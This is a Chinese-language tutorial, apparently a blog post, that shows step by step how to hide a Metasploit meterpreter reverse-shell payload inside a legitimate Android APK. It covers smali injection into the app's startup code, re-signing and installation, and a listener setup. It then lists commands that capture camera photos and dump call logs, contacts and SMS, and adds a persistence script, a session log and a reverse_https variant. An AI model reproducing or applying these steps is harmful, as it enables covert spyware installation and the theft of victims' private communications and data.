官网:https://www.metasploit.com/
github:https://github.com/rapid7/metasploit-framework
Metasploit 安装 mac
https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
配置环境变量: /opt/metasploit-framework/bin
步骤
1. 使用Metasploit 生成木马 apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
2. 反编译目标apk和木马apk
apktool d target.apk
apktool d cockhorse.apk
3. 将木马 apk 注入目标 apk
-
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
-
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
-
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
4. 回编译生成最终 apk
a. 重新打包
apktool b -o repackage.apk target_app_floder
b. 创建签名文件,有的话可忽略此步骤
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
c. 签名,以下任选其一
jarsigner 方式
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
apksigner 方式
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
如需要禁用 v2签名 添加选项--v2-signing-enabled false
d. 验证,以下任选其一
jarsigner方式
jarsigner -verify repackaged.apk
apksigner 方式
apksigner verify -v --print-certs repackaged.apk
keytool方式
keytool -printcert -jarfile repackaged.apk
e. 对齐
4字节对齐优化
zipalign -v 4 repackaged.apk final.apk
检查是否对齐
zipalign -c -v 4 final.apk
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
5. 安装 apk
adb install final.apk
6. 启动Metasploit控制台,配置参数等待上线
在终端依次输入如下命令
msfconsole
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.xxx.xx.xx
set LPORT 4444
exploit
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功
7. 操作使用
拍照:webcam_snap
通话记录:dump_calllog
联系人:dump_contacts
短信:dump_sms
系统信息:sysinfo
8. 其他
局限
仅仅能在配置的同一IP 使用,非常不方便
配置公网服务器?
掉线问题
部分大神给出方案,启动监听时,将以下代码上传到手机运行。
总是启动主页面对于部分 App 适用,大部分应该行不通,不失为一个方案。
persistent.sh:
# !/bin/bash
while:
do am start --user 0 -a com.intent.MAIN -n com.xxx.xxx/.MainActivity
sleep 30
done
执行:
meterpreter > pwd #找到当前路径
/data/user/0/com.baidu.flashlight/files
meterpreter > cd /data/user/0/com.baidu.flashlight/files
meterpreter >
meterpreter > upload /root/桌面/chixu.sh #上传脚本
[*] uploading : /root/桌面/chixu.sh -> chixu.sh
[*] uploaded : /root/桌面/chixu.sh -> chixu.sh
meterpreter > shell
Process 1 created.
Channel 2 created.
pwd
/
cd /data/user/0/com.baidu.flashlight/files #找到脚本所在文件夹
ls
be03bdfb7aec72fd9195311f2656619a
chixu.sh
sh chixu.sh #运行脚本
reverse_https方式注入
msfvenom -x 1.apk -p android/meterpreter/reverse_https LHOST=xxxx LPORT=xxx -o a.apk
参考资料
感谢以下文章作者
https://www.freebuf.com/articles/terminal/133357.html
https://www.freebuf.com/articles/terminal/116924.html
https://bbs.pediy.com/thread-225012.htm
https://www.freebuf.com/sectool/67674.html
https://blog.csdn.net/u011467044/article/details/53324091
https://blog.csdn.net/qq_38317509/article/details/81137396
https://www.freebuf.com/articles/rookie/182633.html
网友评论